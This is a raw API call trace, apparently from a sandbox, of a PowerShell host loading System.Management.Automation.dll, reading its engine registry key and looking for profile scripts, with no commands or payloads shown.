[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.730] GetLastError () returned 0xcb
[0040.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d9a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.736] GetLastError () returned 0xcb
[0040.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.736] GetLastError () returned 0xcb
[0040.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.736] GetLastError () returned 0xcb
[0040.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16d954, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0040.737] GetLastError () returned 0xcb
[0040.759] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.761] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.761] GetLastError () returned 0xcb
[0040.762] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.769] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.769] GetLastError () returned 0xcb
[0040.770] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.770] GetLastError () returned 0xcb
[0040.773] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.773] GetLastError () returned 0xcb
[0040.777] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.777] GetLastError () returned 0xcb
[0040.779] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.779] GetLastError () returned 0xcb
[0040.781] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.782] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.828] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.828] GetLastError () returned 0xcb
[0040.840] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.845] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0040.845] GetLastError () returned 0xcb
[0041.040] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x317b90
[0041.040] GetLastError () returned 0x0
[0041.040] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x317c18
[0041.040] GetLastError () returned 0x0
[0041.342] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0041.405] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0041.406] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0041.407] VirtualQuery (in: lpAddress=0x16c584, lpBuffer=0x16d584, dwLength=0x1c | out: lpBuffer=0x16d584*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.104] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.105] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.106] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.107] VirtualQuery (in: lpAddress=0x16ced0, lpBuffer=0x16ded0, dwLength=0x1c | out: lpBuffer=0x16ded0*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.152] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.152] GetLastError () returned 0xcb
[0042.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.154] GetLastError () returned 0xcb
[0042.154] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dccc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.154] GetLastError () returned 0xcb
[0042.154] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.154] GetLastError () returned 0xcb
[0042.154] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.154] GetLastError () returned 0xcb
[0042.154] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.154] GetLastError () returned 0xcb
[0042.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dccc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.174] GetLastError () returned 0xcb
[0042.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.174] GetLastError () returned 0xcb
[0042.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.174] GetLastError () returned 0xcb
[0042.174] VirtualQuery (in: lpAddress=0x16d1f8, lpBuffer=0x16e1f8, dwLength=0x1c | out: lpBuffer=0x16e1f8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dccc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.175] GetLastError () returned 0xcb
[0042.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.175] GetLastError () returned 0xcb
[0042.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0042.175] GetLastError () returned 0xcb
[0042.175] VirtualQuery (in: lpAddress=0x16d1f0, lpBuffer=0x16e1f0, dwLength=0x1c | out: lpBuffer=0x16e1f0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.175] VirtualQuery (in: lpAddress=0x16cea4, lpBuffer=0x16dea4, dwLength=0x1c | out: lpBuffer=0x16dea4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.175] VirtualQuery (in: lpAddress=0x16cea4, lpBuffer=0x16dea4, dwLength=0x1c | out: lpBuffer=0x16dea4*(BaseAddress=0x16c000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0042.177] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e92c | out: phkResult=0x16e92c*=0x37c) returned 0x0
[0042.177] RegQueryValueExW (in: hKey=0x37c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e974, lpData=0x0, lpcbData=0x16e970*=0x0 | out: lpType=0x16e974*=0x1, lpData=0x0, lpcbData=0x16e970*=0x56) returned 0x0
[0042.177] RegQueryValueExW (in: hKey=0x37c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e974, lpData=0x365310, lpcbData=0x16e970*=0x56 | out: lpType=0x16e974*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e970*=0x56) returned 0x0
[0042.177] RegCloseKey (hKey=0x37c) returned 0x0
[0042.178] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e92c | out: phkResult=0x16e92c*=0x37c) returned 0x0
[0042.178] RegQueryValueExW (in: hKey=0x37c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e974, lpData=0x0, lpcbData=0x16e970*=0x0 | out: lpType=0x16e974*=0x1, lpData=0x0, lpcbData=0x16e970*=0x56) returned 0x0
[0042.178] RegQueryValueExW (in: hKey=0x37c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e974, lpData=0x365310, lpcbData=0x16e970*=0x56 | out: lpType=0x16e974*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e970*=0x56) returned 0x0
[0042.178] RegCloseKey (hKey=0x37c) returned 0x0
[0042.179] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x365310 | out: pszPath="C:\\Users\\ATVeyDl98Z\\Documents") returned 0x0
[0042.179] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Documents", lpFilePart=0x0) returned 0x1d
[0042.179] GetLastError () returned 0x3f0
[0042.179] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x365310 | out: pszPath="C:\\Users\\ATVeyDl98Z\\Documents") returned 0x0
[0042.179] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents", nBufferLength=0x105, lpBuffer=0x16e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Documents", lpFilePart=0x0) returned 0x1d
[0042.179] GetLastError () returned 0x3f0
[0042.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x16e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36
[0042.180] GetLastError () returned 0x3f0
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x16e9dc | out: lpFileInformation=0x16e9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0042.180] GetLastError () returned 0x2
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x16e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b
[0042.180] GetLastError () returned 0x2
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x16e9dc | out: lpFileInformation=0x16e9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
